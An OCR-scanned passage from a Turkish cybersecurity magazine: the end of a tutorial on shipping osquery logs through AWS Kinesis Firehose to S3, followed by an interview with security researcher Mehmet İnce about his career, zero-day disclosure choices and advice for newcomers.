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Sonrasinda, verilerin alinip bir S3 bucket: tizerine yazilabilmesi i¢in Kinesis Firehose segilerek, yeni bir delivery stream olusg-
turulur. Isim olarak yine osquery kullanilabilir. Kinesis stream se¢im ekraninda, bir énceki agamada olugturulan osquery akis
secilerek ilerlenir:
Kinesis Firehose - Create delivery stream
| Step 1: Name and source

New delivery stream (7]

Delivery streams load data, and i to the that you specily. Kinesis Firehose resources are not
covered under the AWS Free Tier, and usage-based charges apply. For more information, see Kinesis Firshoso pricing.

Delivery stream name"®

AceDiatis CRATICISFS 20 UPOOITIS ANG KWL WIS, NUMESTS, LNdRseoms, Pyphons. and
paricds,

Choose source

Choose how you would prefer to send records to the delivery stream.

Firehose data flow overview
Source Firchose delivery stream Destination
ooo | — — | BDDO

-+ Optional

Source* Direct PUT or other sourcas.
O Kinesis stream

© You chose osquery in Kinesis Streams 1o be the source for this delivery stream. To use a different Kinesis stream source,
wpdate your cholos below.

Kinesis stream®  csquery v o] Create new [

Destination ve IAM disindaki ayarlar varsayilan olarak birakilir. Destination i¢in S3 segilir ve S3 bucket se¢im ekraninda Cre-
ate new butonu kullanilarak bir bucket olugturulur. Verilen ismin essiz (unique) olmasi gereklidir:

53 destination

Choose a destination in Amazon S3 where your data will be stored. Amazon S3 is object storage built to store and retrieve any amount
of data from anywhere. Learn more

S3bucket*  osquerylogsforarkakapi - b5 Create new
View osquerylogsforarkakapi in 53 console &
S3 prefix
By default, Kinesis Data Firehose appends the prefix "YYYY/MM/DD/HH" (in UTC) to the data it delivers to Amazon S3. You can
override this default by specifying a custom prefix that includes expressions that are evaluated at runtime.

If your custom prefix doesn't include expressions, Kinesis Data Firehose uses your prefix and appends "YYYY/MM/DD/HH". If your
custom prefix includes a Firehose random string or timestamp expression, Kinesis Data Firehose doesn't append
"“YYYY/MM/DD/HH" Learn more

Prefix  Specify prefix

53 error prefix

You can specify an 53 bucket prefix to be used in error conditions. This prefix can include expressions for Kinesis Data Firehose to
evaluate at runtime. Learn more about the rules for specifying prefix expressions

Error prefix ~ Specify prefix

* Required Cancel Previous m
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IAM role se¢imi yapilirken Create new or choose butonuna basilarak agilan sayfadan yeni bir role olusturulur. Ayni iglem i¢in
daha 6nce olusturulan bir role varsa onun iizerinde de degisiklik yapilabilir.

Amazon Kinesis Firehose is ion to use in your

Click Allow to give Amazon Kinesis Firehose Read and Write access to resources in your account. ™ Hide Details pole Summary (7]
Role Provides access to AWS
DescripBenvices and Resources

IAM  Create a new 1AM Role 5
Role

Role firehose_deli
Name

» View Policy Document

Birka¢ dakika beklendikten sonra, gelen loglar1 goriintiilemek i¢in AWS tizerinde 83 servisine gidilerek olusturulan bucket
agilabilir. Icerisinde y1l/ay/giin/saat formatinda alt dizinler olusturulur. Dizinlerin igerisinde kayitlar gériintiilenebilir:

B japi > ] »m oy =

Overview
Q. Ty ; P
& uposs [ + oo e EUfroand) &
Viewing 18028
[rroe Last modified = Size Storage class v
D o0 B-068-28-22-00-44-326e3ab0- 584 o 2- Jun 25, 2018 1:01:47 AM GMT-0300 IKB Suandard
[ caquery-iogger1-2019-05-26-22-01-45-8802cT3- sbab-4230-9e30-62040040T00C Jun 29, 201 1:02:48 AM GMT+0300 KB Suncwed
[ oequery-iogger1-2010-08-28-22-02-48-CT28ida1 8541 -4af1 -bess Jun 28, 018 10251 AM GMT+0300 T4ka Stancard
D ‘osquary-logger-1-2019-06-28-22-03-51-TA516037 01 57-4408-bi2c-366a0 1 B3cc 11 Jun 29, 2018 1:04:53 AM GMT 0000 24KB Seanciard
[ osquery-loggeri-2010-08-28-22.04-53-800c21 3087114201691 1 -06868302cadl Jun 29, 2016 10856 AM GMT+0300 200K8 Standard
D ‘osquery-logger-1-2010-06-28-22-05-56-CoedaldT!- Z230-4b20-0a15-b5Te281 c6al7 Jun 29, 2019 1:06:58 AM GMT 0300 MNAKB Sunced
R T T TNy —
D osquiry -logger-1-2019-06-26-22-08-00-1Be49014- 71 00-461¢-a20a-2000061 14440 Jun 29, 2019 1:00:03 AM GMT 0300 NAKB Suandet
D =l logge -2010-06-28. 09-03-4bdcle 794-4605-9894. Jun 29, 2018 1:10:04 AM GMT+0300 a09Ka Standarg
[ osquory-topger-1-2010-06-26-22-10-05-HabbaT-5e64-1650-bad1 42006061 dI6e Jun 29, 2018 111 1:07 AM GMT+0300 J24KB Standard
D ‘osquery-lopgen1-2019-06-28-22-11-08-7¢1 T0b3S-e242-473b-b712-T4204048T41 Jun 29, 2008 11210 AM GMT.0300 n4axa Srandard
D ‘caquary-logger-1-2018-08-28-22-12-10-5451 sec0-cO48-4M3-8711-5T1d7e 522007 Jun 29, 2019 111312 AM GMT 0300 MS5KB Sances
[ caquery-iogg 0-08-28:22.11-18-008 55-4200-b400. Jun 29, 2019 1:14:20 AM GMT 0300 14ANE Sramciard
Istenen kaydin tizerine tiklanarak indirilebilir ve detaylarma bakilabilir:
osquery-logger-1-2019-06-28-22-00-44-325e3e5e-7586e... 1ot vormion =

Properties | Permissions Select from

Open Download Download as Make public Copy path

Owner
guray

Last modified
Jun 29, 2019 1:01:47 AM GMT+0300
Etag

T7afr: G20,

Storage class
Standard

Server-side encryption
None

Size

333KB

Key
2019/06/28/22/0squery-logger-1-2019-06-28-22-00-44-325e3e5e-758e-431d-b8b2-33dbbbob58 16

Object URL

5-28-22-00-44-325a3e5e- T588-43 1d-bab2-33dbbhab58 16

AWS Kinesis tizerinde, gelen loglar tizerinde canli sorgulama yapmak da miimkiindiir. Analitik saglayan, Kinesis meniisiinde
yer alan Data Analytics sayesinde akan veriler iizerinde sorgulama, anomali tespiti gibi bir¢ok olanak elde edilebilir.
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Mehmetinceile

Soylesi

Mehmet Bey, oncelikle sizi taniyabilir miyiz? Siber giivenlik
sektoriine nasil giris yaptiniz, bugiine kadar neler ile mesgul
oldunuz?

Nasil basladigimin hikayesi ¢ok eskiye dayaniyor. Bilgisayar
oyunlarina bagimli olan bir ¢cocuktum. Ardindan bir sekilde il-
gim siber giivenlige kaydi. 2003-2004 yillarinda gtivenlik olgu-
lar1 hakkinda aklima birtakim sorular takildi. Diger insanlarin
aksine, bilgisayarin nasil ¢alistigina degil de bilgisayarda bulunan
programlarin, ¢alisan sistemlerin giivenligi ilk merak ettigim ki-
sumlar oldu. Yoksa tabi ki bilgisayarin nasil ¢alist:g1 gibi sorular
ileriki zamanlarda akil yas: gelistik¢e ortaya cikacaktu.

O zamanlar bu konularla ilgili kaynak ¢ok azd: fakat giivenlik 6g-
renmek istedigim i¢in bulabildigim tiim kaynaklar: inefektif'bir
sekilde okudum. O zamanlar Milworm adinda bir web sitesin-
de bulunan giivenlik agiklarini yakindan takip ederdim. Gitgide
ontime gelen giivenlik ile ilgili yazilar1 okudukea anlamaya bas-
lamistim fakat programlama dillerine gelince higbir sey anlami-
yordum. Yani aslinda resmin tamamini géremiyordum. Bu da
benim i¢in biiyiik bir eksiklikti. Bu yiizden, isin biraz da giivenlik
alaninda caligmaya bagladim. 2004 yilinda kendi zafiyetlerini ice-
ren bir uygulama gelistirmeye karar verdim. Bence her insan ne
okursa okusun bir sekilde siber giivenlik¢i olabilir fakat bunun
tek bir kogulu vardir; o da farkl: distinmektir.

Tabir-i caiz ise kitabin ortasindan baglar gibi baslamigsiniz.
Peki bunun arkasinda yatan sebep ne idi? Ornegin; bilgisaya-
riniz m1 hack’lendi ya da web siteniz mi ¢oktii?

Bir web sitesine girdigimde grafiksel bir sayfa geliyordu. Biraz
arastirdiktan sonra CTRL+U‘ya basinca sayfanin kaynak kod-
larmin geldigini 6grendim. Fakat “Bunlar ne?” diyordum. “Ben
bu kodlar: degistirsem, 6rnegin, web sitesinde bulunan bir resmi
baska bir resim ile degistirsem komik bir goriintii ¢tkmaz mi?” diye
diisiiniiyordum. :) HTML nasil diizenlenir gibi detaylar1 6gren-
dikten sonra, degistirdigim resmin aslinda burada, sadece benim
tarafimda degistigini yavas yavas 6grenmis oldum. Sonra bir site
yapmaya karar verdim. Siteyi bitirdigimde, web siteme sizilma-
ya bagland1. Benim aklima gelen resim degistirme sorusu, benim
sitemde uygulandi ve bu beni ¢ok etkilemisti. “Bu adam yapiyor
fakat ben neden yapamiyorum?” diye diistindiim. Aslinda o adam

1 inefektif: verimli olmaksizin, tam anlamiyla 6ziine varmaksizin, sonug
almaksizin.

bana bir motivasyon kaynag: olmustu ve bu sekilde giivenlige bir
adim atmis oldum.

O zamanlarda 6rnek aldiginiz bir kimse oldu mu?

Hayatim boyunca ben hi¢ kimseyi idoliim olarak gérmedim. Bu,
hayatimin sadece siber giivenlik tarafi igin degil, geneli icin de
gecerli. Tabii ki sayg1 duydugum ¢ok insan var; en bagta Musta-
fa Kemal Atatiirk. Ama hayatim boyunca “Ben bunun gibi olmak
istiyorum.” dedigim hi¢ kimse olmadi. Ta ki iki sene oncesine
kadar. Iki sene 6nce spora basladigimda -aslhnda spor diyemem,
yasam tarzina doniismiis bir sey benim igin- Ediz isimli ¢ok de-
gerli bir iistadimin hayat gorislerini, felsefesini kendime 6rnek

almaya basgladim. Kendisi Tayland boksu yapiyor. Ben de ayni se-
kilde kendisinden 6grenmeye basladim ve hala devam ediyorum.
Aslinda siber giivenligin de dovilg sporlariyla alakasi oldugunu
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diistiniyorum. Bunun haricinde meslek i¢inde baska idol aldigim
isim olmadi. Sadece yapilan projeleri veya giivenlik agiklarindan
feyz aldigim oluyor.

Hangi programlama dili ile basladiniz?

[lk olarak Perl programlama dilini 6grendim. O da su sekilde; bir
giivenlik a¢1g1 buluyordum fakat onu otomatize etmek istedigim
icin Internet’te arastirma yaparken Perl hakkinda bilgiler gérdiim
ve bu programlama dili ile baglamaya karar verdim. Daha sonra
Python dili ile karsilagtim. Tabii ki bunlar, -sunu égreneyim bunu
ogreneyim- gibi degil, arastirmalarimi yaparken karsilastigim ve
-bununla alakalr giivenlik alaninda bir sey yapmaliyim- dedigim
i¢in 6grenmeye basladigim diller. Ardindan PHP ile hasir nesir
oldum. Kendimi security researcher olarak tanimlamak istiyor-
dum. Bunun i¢in de kaynak kodlarini koyup giivenlik a¢iklarini
bulmam gerektigi icin ve o yillarda internette kaynak kod agisin-
dan en ¢ok PHP programlama dili kullanildig1 i¢in ben de PHP
programlama diline yoneldim. Sonra yillar icerisinde dokunma-
digim diller olmadi. Yani iyi bir giivenlik arastirmacis: olmak is-
tiyorsaniz OSI katmaninda bulunan tiim teknolojilere dokunmak
zorundasiniz.

Peki az once bahsettiginiz, 2004’teki o proje hala elinizde du-
ruyor mu?

--- 2004 yilinda kendi zafiyetlerini iceren bir uygulama gelistirme-
ye karar verdim.---

Hicbir fikrim yok. :) Bunu Onur Yilmaza sormam lazim sani-
rim. Gegmisim ilging hikayeler ile dolu. Hatta mesela bir giin
Milworm'un IRC kanalindaydim. Insanlara soru sormaya ¢a-
listyordum. Fakat dil olmadig: i¢in Tiirk oldugum cok belliydi.
Daha sonradan birisi 6zelden “Selam Kardes” yazdi. O sekil-
de Internet'ten tanistigim bir arkadagim olmustu. Sonra adam
Istanbul'dan kalkt: geldi. O zamanlar ben ise lise ikideyim, adam
34-35 yaslarinda, otogarda bulustuk. Ben internet kafeden calis-
tigim para ile Adana kebabi 1smarladim adama. :) Adam ise bana
hayatimdaki PHP, MySQL ve Linux ile ilgili ilk Tiirkge kitabimi1
verdi. Daha sonra bir internet kafede IRC kanalina girdik ve git-
ti. Bugtin dahi kendisini tanimiyorum. Aslinda o adam hayati-
ma ¢ok dokunmus oldu. Altini ¢izerek okudugum kitap, aslinda
hayatimi adadigim seyleri barindiran bir kitapmis. Yani Mehmet
Ince’ye sorsan “Bugiin kendin ile mutlu oldugun, bunun igin yap-
tigin neler var?” diye. Séylerim ki, binden fazla 6grencim vardir.
Bunlar sadece yiiz ylize dokunabildiklerim. Bir de online igerik
iretme kaygisi gektim hayatta, belki de daha fazla insana doku-
nabilmisimdir. O adamin bana o karanhigin icinde gelip, ayni
Frodoya verilen en karanlik anda yanacak 151k gibi, bir anda gelip
kiigiik bir 151k yakmasi, hayatimdaki diger aradigim motivasyonel
bir noktaydi. O an1 yasadigin i¢in aynisinmi bagkalarina da yapmak
istiyorsun.

Cok giizel bir noktaya degindiniz; aslinda birisi size borg ver-
mis ve siz de bagka birilerine borg¢ vererek 6diiyorsunuz borcu-
nuzu, dogru mu?

Milyarca yildir bu béyle degil mi? $oyle diisiinelim insanin vii-
cudunda bir diinya aminoasit var. Bunlar eskiden bir hayvanda
bulunan bir etti. O da 6rnegin bitkilerden aldi ayni sekilde. Yani
milyarlarca yildir bu sekilde evrende donen bir etkilesim var ve
evrende bulunan her seyin birbirine bir yarar1 dokunuyor. Haya-
t1 boyle goriiyorum. Insanoglu da o temel algoritmada kendisini
buluyor. Benim de hayatimdaki misyonum ise bu bedenin iginde
bulunan bir dirhem bilgi bile topraga gitmesin, hepsi bir yerlerde
yazili veya sozlii bir sekilde bulunsun.

Giindelik ugraslariniz nelerdir, ticari ya da sosyal aktiviteler
olarak neler yapiyorsunuz?

Kendimi bildim bileli giivenlik aragtirmacisi olmak istedim, hala
olabildigimi diisiinmiiyorum. Herhalde démriimiin sonuna kadar,
bir grup insanin olusturmus oldugu projeyi, hi¢ kimsenin akil
edemedigi bir mevzuyu alip, distiniip, ortaya koyup, hepsinden
farkli bir ¢izgiye getirmek benim i¢in her zaman pesinden kosa-
cagim sey olacak. O yiizden ge¢miste bunu yaptim, bugiin bunu
yaptyorum, gelecekte de bunu yapacagim.

Ticari anlamda ise 2012 yilinda bir seriivene bagladik. ismi Pro-
daft oldu, degisti; Invictus oldu. Ug kisi basladigimiz bu yolda he-
defimiz Tiirkiyede kimsenin yapmadig1 bir seyleri yapmakt1. Ben
o0 hazz1 da seviyorum yani insanlarin yapamadig: seyleri yapabil-
mek ego tatmini sagliyor. Basladik su anda 28 kisi oldu ekibimiz.

Tirkiye'nin en biiyiik siber istihbarat saglayicilarindan birisiyiz.
Penetrasyon testi ¢alismalar: yapiyoruz. Ben egitimler veriyo-

rum. Oradaki en biiyiik kiiltiir ise hep yetistirdigimiz insanlar1
ise aliyoruz. Ben usta-cirak iliskisine ¢ok inaniyorum, zaten 6yle
de olmas: gerekiyor. Benim hi¢ ustam olmadi, o konuda kendimi
¢ok eksik hissediyorum agikeasi. Olsayd: hayatta su anda geldi-
gim noktadan mesleki anlamda hi¢ memnun olmayan biri olarak
daha ileride bir yerde olabilirdim kigisel haz agisindan. Ciinki
¢ok zaman kaybettim bir seyler 6grenmek icin.

Siber giivenligi web, mobil ve network olmak iizere ii¢ katego-
riye ayiracak olursak, Mehmet ince daha gok hangisi ile mes-
guldiir?

Internet’te yayinladigim ¢alismalarin ¢ogu uygulama katmani ta-
rafinda. Ama benim en ¢ok ilgilendigim gtivenlik kismu ise, hu-
man intelligence kismi. Benim en ¢ok diisiinmekten zevk aldigim
kisim bu fakat tabii ki ben hepsini seviyorum, hepsiyle daha ¢ok
ilgileniyorum. Uygulama tarafinda ¢aligmalarimi gérmenizin se-
bebi ise daha kolay olmasa. :)



Biraz da Al'dan s6z edelim: Yapay zeka bugiin ne asamada, ya-
rin hangi seviyede olur, dersiniz ve size iirkiitiicii geldigi olu-
yor mu?

Soyle ki, insanlar dezavantajlilar, kendimi de dahil ediyorum ta-
bii ki. Insan biyolojisi, beyni, diisiinme sekli, hayat algisi farkli
seylere tutunuyor. Ornegin, buras: benim sinirim, kimseyi dahil
etmiyorum diyerek sagma sapan dusiincelere giriyorlar. Parselli-
yorsun, sonra yetmiyor, daha fazlasini arzuluyorsun. insan beyni
zaten elinde ne olursa olsun her zaman daha fazlasini isteyerek
calistyor. Clinkil miicadele etmek zorunda, bir sey bulmali ve
miicadele etmeli. Bu bakis agistyla baktigimizda insan biyoloji-
si tamamen akislar ile dolu. Clinkii deterministik degil. Yani 1-1
2-2 3-3 ile dogrusal bir sey ¢izebilirsiniz ama insan biyolojisi 6yle
degil ki, yani otuz bes tane aminoasit bir araya geldiginde otuz
altinciy1 tiglinciiden sonraya koyuyorsun karaciger oluyor gibi.
Non-deterministik bir yap1 oldugu i¢in bu yap1 tamamen akiglar-
la, tahmin edilemez yapilarla dolu. O yiizden temennim hani in-
san akiglarini minimalize edecek kadar AT'in gelmesi. Benim s6y-
le bir korkum yok; AI gelecek makineler diinyay: ele gegirecek.
Oyle bir seyle kargilagirsak biz de onlar ile savasacagiz. Hayatta
teslim olmak diye bir sey yok. O miicadeleyi koydugunuz siire
boyunca miicadelenin varlig1 oluyor. Hani AT'y1 gétiirebildigimiz
kadar gétiirelim, fezaya bakalim, daha sonra da neler oluyor.

Sizma testi yaparken hem bir¢ok ara¢ kullaniyoruz hem de
manuel incelemeler yapiyoruz. Sizce araglar pentest’in yiizde
kagidir, neresindedir?

Tool'lar pentestin ylizde sifiridir ¢inkii araglari kullanmak
penteste bir fayda saglamiyor. Yani bir diger deyisle, o aracin ne
yaptigini bilmemiz gerekiyor. O bilgiyi bildikten sonra bunu ma-
nuel yapmisim, tool ile yapmisim benim i¢in fark etmiyor. Eger
o tool, out of the box, magical bir sey yapiyorsa senin igin, sen
bu meslekte yanlis yoldasin demektir. Bir araci kullandiginda
onun ne yaptigini bilmen gerekiyor. Eger o bilgi eksikse sende,
onun neleri yapamadigini da bilemiyorsundur ve o aradaki agig1
da manuel testlerinde kapatamiyorsundur. O zaman sen pentest
yapmiyorsundur.

Tabii testten teste degisir, 6zellikle network testlerinde NMAP
olmazsa olmazdir mesela ama NMAP’in o discovery’yi nasil yap-
tigin1 bilmen lazim.

Biraz da “Mehmet ince ve ZeroDay’leri” ile ilgili konusa-
lim miisaadenizle: Yayinladiginiz pek ¢ok ZeroDay var. Hatta
yaklasik iki y1l 6nce BTK'da bir sunumda zero-day’lerinizden
birisini canli sunmustunuz. Evet, isin bir agk tarafi var ama
arastirdiiniz noktalara nasil bakiyorsunuz, yetenek bunun
neresinde, agk neresinde? :)

Ben yetenege inanmiyorum. Bir insana yeterince zamani yeterin-
ce motivasyonu verirsen eger, o adam Usain Bolt olur. Ben siber
glivenlik kisminda yetenege inanmiyorum. Ciinkii bu bir sanat
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degil. Tamam sanat gibi yasiyoruz ama deterministik olan bir sey
sanat olamaz. Tabii bu igin geyigi. :)

Hikéye su sekilde; ben her zaman bir ¢ita koymak istedim bir yer-
lere. Siber giivenlik arastirmacisiyim, diinyada bagka insanlar da
givenlik arastirmasi yapiyor. Ben de dedim ki, bir rol model ola-
lim giinki insanin kaygisi, 6ldiikten sonra geriye ne birakacagin
hususudur bu kimisi i¢in boyle olmayabilir tabii. -Mehmet Ince
bunlar: birakti- denmesi zerre umrumda degil ama ben bilmek
istiyorum neleri biraktigimi, yani bu konu sahsim adina énemli,
i¢sel mutluluk agisindan. O yiizden dedim ki bir rol model ola-
lim, insanlar1 gaza getirici bir seyler yapalim, farkindalik yarata-
lim, zero-day diye bir konu var insanlar bilsin motivasyonu ile
yola ¢iktim. Bununla ilgili zeroday’lerimi yayinlama karar1 aldim
fakat tabii ki vurucu bir sey lazimdi. Cilinkii insanlari, 6zellikle
18-25 yasindaki gengleri manipiile etmek istedim, yani manipii-
lasyondan kastim onlar1 vurucu bir sekilde gaza getirmemiz an-
laminda bir sey yapmak istiyordum.

O zaman da Symantec antiviriis programini herkes biliyordu.

Ben de 1000 kisinin oldugu bir konferansta canli bir sekilde anti-

viriis programinda zero-day bulacagim ve bunu kolay bir sekilde
anlatacagim insanlara. Aslinda hig kolay degil orada 10 yilin bir

geri doniisii var.

Buradan da neyi, ne kadar sattiginin 6nemi ortaya ¢ikiyor. Ben o
manipiilasyonu yapip oradaki 1000 kisiye gazi verip yolladigim
i¢cin mutluyum. A¢ik¢as: amacim buydu, o konferans: yaparken.
En sonda ICTConf adli bir konferansta citay1 gercekten fezaya
koydum. Cidden kisisel egoist manyakligin bir noktas: bu. O da
canli olarak zeroday bulmak. Yani énceden bulunmus bir zero-
day degil de bir triinii alip 45 dakika i¢inde zeroday bulmak ve
Metasploit modiiliinii yazip yaymlamakti. Yaptim, oldu ve yayin-
ladim. Sonra Rapid7’nin Metasploit merkezine gonderdim pull-
request’i. Kabul ettiler. Ardindan da development-diaries adinda
bir tane seri baglattilar. Orada 6rnek olarak gosterildi ve kendi
sitelerinde yayinladilar. Oradaki amag, isin ana temasinin toz
pembe olmadigini géstermekti. Insanlar genellikle direkt gecti-
gi adimlar1 koyup gostermeyi sever, arka planlar1 konusmazlar.
Ama ben onu hep beraber yasayalim istedim ¢iinkii benim o giin-
kii konferansa gelen 600 kisiye kendimi ispatlama gibi diirtim
yok. Ben ilgilenmiyorum insanlarin benim hakkinda ne diistin-
diikleriyle. O yiizden hani egoistge biraz ama kendime zaten bir
seyler yaptim daha 6nce diyerek bundan sonrasinin 6nemini dii-
stinmeye basliyorsun. Sonug olarak ¢iktim, rezillik, sunucu ¢als-
miyor, diistindiigiim olmuyor ama gergek hayatin kendisi oldugu
i¢in insanlarin bunu bilmesini istiyorum. $u an ise bakiyorum,
benim yayinlamis oldugum zeroday’ler iizerinden insanlarin
bagska zeroday bulma ¢abalar: var. Bunun verdigi haz muazzam.

Bugiine kadar kag tane ZeroDay buldunuz?

Yayinlamis oldugum 130 gibi bir zafiyet var. 2006’ lardan beri ta-
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bii. Goriip de goziimii yummus oldugum ise bir o kadar daha
vardir. Ciinkii bazen soyle oluyor. Evet, zafiyeti gérityorsun, zero-
day. Tiim diinyada etkisi var. Boyle kendini ¢ok tist seviye hissedi-
yorsun. Bu meslegin icerisinde o hazzi yasamak benim en biiyiik
diirtiim oldugu i¢in bunu yasadigimi insanlarin bilmesine gerek
yok. Zaten ben kendi icimde yagtyor oluyorum.

Buldugunuz bir ZeroDay’i yayinlayip yayinlamayacaginiza
nasil karar veriyorsunuz?

[lk olarak suna bakiyorum. Tiirkiyeden ¢ok fazla etkilenen insan
var m1? Var ise, yayinlamam. “O zaman niye bu isi yapryoruz?
Gidelim BlackHate haftada 200 bin Dolar kazanalim, gériigmeye-
lim” diye diisiiniirtim. O ylizden zeroday’in gergekten kritikligi-
ne bakiyorum. Ciinkii yayinladiginda gengleri gaza getiriyorsun
ama bazi seyleri de riske atiyorsun. O bazi seyleri 6l¢men gereki-
yor. Bu yiizden yayinladigim ZeroDay’lerin yiizde 401 authenti-
cation gerektiren zeroday’ler. Hatta ayni tirlinlerde unauthentica-
te zafiyetler de var hi¢bir gekilde yayinlamadigim. Ciinkii gegen
bir zeroday yaymladigimda tweet attim. 150 kisi favladi. Cogu ise
gengler. Ama o sisteminde biliyorum ki bagka bir zeroday’i ya-
yinlaniyor. Yani benim o zeroday’in benim tarafimda bir riskinin
artik kalmadigini biliyorum.

Hig¢ ZeroDay sattiginiz oldu mu?
Hayir hi¢ olmadi. Satmam da.

En ¢ok merak edilen bir diger konu: Siber giivenlige yeni bas-
layacak olanlara neler 6nerirsiniz, nereden baslamali, neler
yapmalidirlar?

Bir, Ingilizce dgren demiyorum. O zaten sart oldugu icin. Siber
giivenlik aslinda teknolojinin diinya ¢apinda gozlemledigimiz
zaman enerjinin kendisidir. Bu yiizden iki, siber giivenlige dair
hi¢bir sey bilmiyorsan, siber gtivenlik¢i olmadan 6nce IT alanin-
da sana ne zevk veriyor onu 6grenmen lazim. Eger programlama
dilinden zevk aliyorsan, benim 6nceden yapmis oldugum ine-
fektif yoldan efektif yola geg. Programlama dili 6gren evet, daha
sonradan zafiyetli uygulama yaz. Fakat yazamazsin. Yazamadigin
zaman ise mecbur onlar1 6grenmek zorunda olacaksin. Onlarca
insanlarin yazmis oldugu, gelistirdigi seylerin kaynak kodlarini

oku ¢iinkil bence en basarili giivenlik arastirmacisi, daha dogru-

su_pentester kendisini baskasinin yerine koyup kendisini onun
goziinden diisiinebilen insandir. Benim hayatta boyle buldugum

binlerce zafiyet var sirf gelistirici géziinden sisteme bakabildigim
i¢in. O yiizden hani o diger insan gibi diisiinebilmeyi 6grenmek
lazim. Bunun da tek yolu var; kaynak kodlar1 okumak. Bugiine
kadar 130 tane zeroday yayinlamis olmam 130 tane farkli kaynak
kodlu projeyi okudugumun rakami ama gergek sayu ise binlerde.
Yani bir sistem yok. Belirli bir sekilde onu 6greneceksin, bunu
ogreneceksin yok. Her seyi 6grenmen gerekiyor bu hayatta. Or-

negin, benim kiitiiphanemde .NET kitab1 var. Benim ne isim var
NET ile, degil! Her sekilde okuyacaksin. Ciinkii elbette giivenlik-
te onunla karsilagacaksin.

Siber giivenlik deyince, akillara genellikle ve sadece sanal-ya-
zilimsal alanlar geliyor. Hem donanim hem de siber giivenlik
ile ilgili olan bir kimse kendisine bu noktada ortak bir payda
bulabilir mi?

Tabii ki. Donanimin icerisinde de giivenligi gorebilecegi bir¢ok
nokta var fakat daha zor bir alan, kaynak olarak 6rnek alabilece-
gin, icerik bulabilecegin ¢ok daha zor bir alan. Clinkii donanim
vendor’lar1 diinyada 3-5 tane. Atiyorum Intel CPU’sundaki man-
yetik alan degisiminden side channel ataklar falan var ama onunla
ilgili bir kaynak bulman zor.

En sik gelen bir diger soru da su oluyor: Siber giivenlik igeri-
sinde hangi alana yonelmeliyim?

Sektorde bir halt bilmeyen insanlar ¢ok giizel maaslar ile ¢aligi-
yorlar. Alani segmek i¢in ¢ok erken ayrica, alan bence se¢ilmeme-
li. Evet, bir konuda dikey uzmanligin olacak fakat diger her seyi
de bilmen lazim. O yiizden alan ¢ok 6nemli degil. Asil konu bu
isi sevip sevmedigin.

Ondan sonra zaten yolunu illa ki buluyorsun. Ben kategori se¢-
medim ve gitgide yolum kendiliginden belirdi. Bence diinyada en
bityiik ihtiya¢ uygulama giivenligine gidiyor. O yiizden bu bug-
bounty programlari popiiler oluyor. Ciinkii diinyada artik ¢ok
fazla uygulama tiretiyorlar. Bunun beraberinde firmalar o konu-
da uzman Kkisiler ariyorlar. O tip kisilerde bellidir. Development
kismini da bileceksin, dongtileri de bileceksin ama atak kisim-
larina da hakim olacaksin. Ama bence, giivenlik alanindaki her
insan i bulabilir su anda ¢iinkii iilkede her 6zel sektor firmasi
glivenlik uzmani ariyor.

Bir haber paylasalim: Gegtigimiz yil agiklanan resmi rakamlara
gore en az 30.000 siber giivenlik uzmanina ihtiyag var.?

Bir de soyle bir durum var, ilgili kisi siber giivenlik arastirma-
cis1 olarak calismaya basliyor fakat herhangi bir programlama
diline hakim degil. Siz de boyle baslamigsiniz fakat bu dogru
mu?

Degil tabii ki. Benim durumum, ben bu isi 6grenirken bir yerde
glivenlik aragtirmacist olarak calismiyordum. Yani 6grenciyken
bu isi bu sekilde yapabilirsin ama sana maas verdikleri zaman
bunun karsiliginda bir sistemin giivenligini test etmeni istiyor-
larsa, o sistemin nasil yapildigini anlamanin ¢ok énemli oldugu-
na inantyorum. Bu benim kendi i¢imde belirledigim is kalitesi
standartlar1 geregi boyle. Bilmeden de giizel seyler yapilabilir mi,
evet. Ama cok giizel seyler yapilabilir mi, bence hayir. Yapan var
mi? Belki vardir, ama 6znel bir sey. Programlama dili bilmenin
gerektigine inanirim her zaman.

Benim basladigim yol bunun zaten tam tersiydi, ¢ok yanlist1 ve
¢ok ciddi inefektif idi. Bu yanlis. Bir programlama dili 6grenmek
¢ok 6nemli giinkii insanlarin konustugu dil o. Urettigi, gelistirdi-

2 Binali Yaldirim: 30 bin siber giivenlik uzmanina ihtiyacimiz var. (Bagbakanligi
doneminde soylemistir, tarih: 20.10.2017)



gi ona hakim oldugu dil o. Sen de ona hakim olursan, test ettigin
vektore bakis acin degismeye baglar. O yiizden ben Tiirkiyede
hi¢bir siber giivenlik konferanslarina gitmiyorum ama tiim de-
veloper etkinliklerinde beni goriirsiin ¢linkii o adamlarin diizen-
ledigi isleri tiiketiyoruz. O yiizden o adamin dilini, konugmasini,
neyden zevk aldigini, niye gece calistigini, her seyini anlamali-
yim. Yani human intelligencedan kastim da bu sekilde.
Tiirkiye'de, siber giivenlik ile ilgili ticari piyasanin doygunlugu
ne durumda?

Daha altin ¢agini yasamadi. $oyle diistinebiliriz: Bizim pentest
kismimizin yiizde 40"t USAde ve ben USAde degilim. Bu ne de-
mek? Diinyanin en biiyitk marketinde bile biz 12 bin km uzaktan
is yapabiliyorsak bil ki bu konuda aglik var. Tiirkiyede bu market
gok kott, tilke iginde bakmamak lazim ama globalde baktigimiz-
da gergekten olay ¢ok daha ileriye gidecek.

Siber giivenligin yarim1 hakkinda neler diisiiniiyorsunuz?

Bence burada sunu anlamamiz lazim: siber giivenlik kaygisini
niye ¢ekiyoruz? Ciinkii black hacker’lar var. Hani bu bitmeyen
bir sey. Daha da ileriye gidecek bence. Bundan bin y1l énce de bir
magara vard1. Buras: benim magaram diyordun, istiyordun. Son-
ra o magaranin sahibini déviip bir sekilde kazaniyordun. insanlar
elma i¢in kavga ettiler, geyik i¢in, sinir i¢in, petrol i¢in kavga etti-
ler yani bu bin yildir béyle. Insanoglu doyumsuz. Bu pencereden
baktigimizda simdi degerli sey nerede ona bakiyorsun. Bu deger
eden seyin de gitgide tamamen teknolojik altyapida oldugunu
fark etmeye basliyorsun. Yani {ilkeler arasi savaglari konusan
insanlar var goériiyorsun. Bugiin Google’a bir atak diizenlersem,
New York borsasinin nasil bir tepki verecegini bilmiyorum. O
ylizden tehditler ve olaylar daha da ileriye gidecek.

Siber giivenlik ya da IT farkindalig1 hakkinda neler s6ylemek
isterseniz?

Simdi biz isin teknik tarafinda olan kisimlardayiz. Bu kisimda ol-
mayan insanlar higbir seyin farkinda degiller ¢iinkii eskiden bir
savag oluyordu ve bunu goriiyordun. Amerika “demokrasi indiri-
yordu” ve sen de bunu gorityordun, her seyin farkindaydin. Ama
simdi her sey invisible (goriinmez) bir sekilde ilerliyor. Higbir sey
goremiyorsun ama arkada yaganiyor deli gibi. O yiizden teknolo-
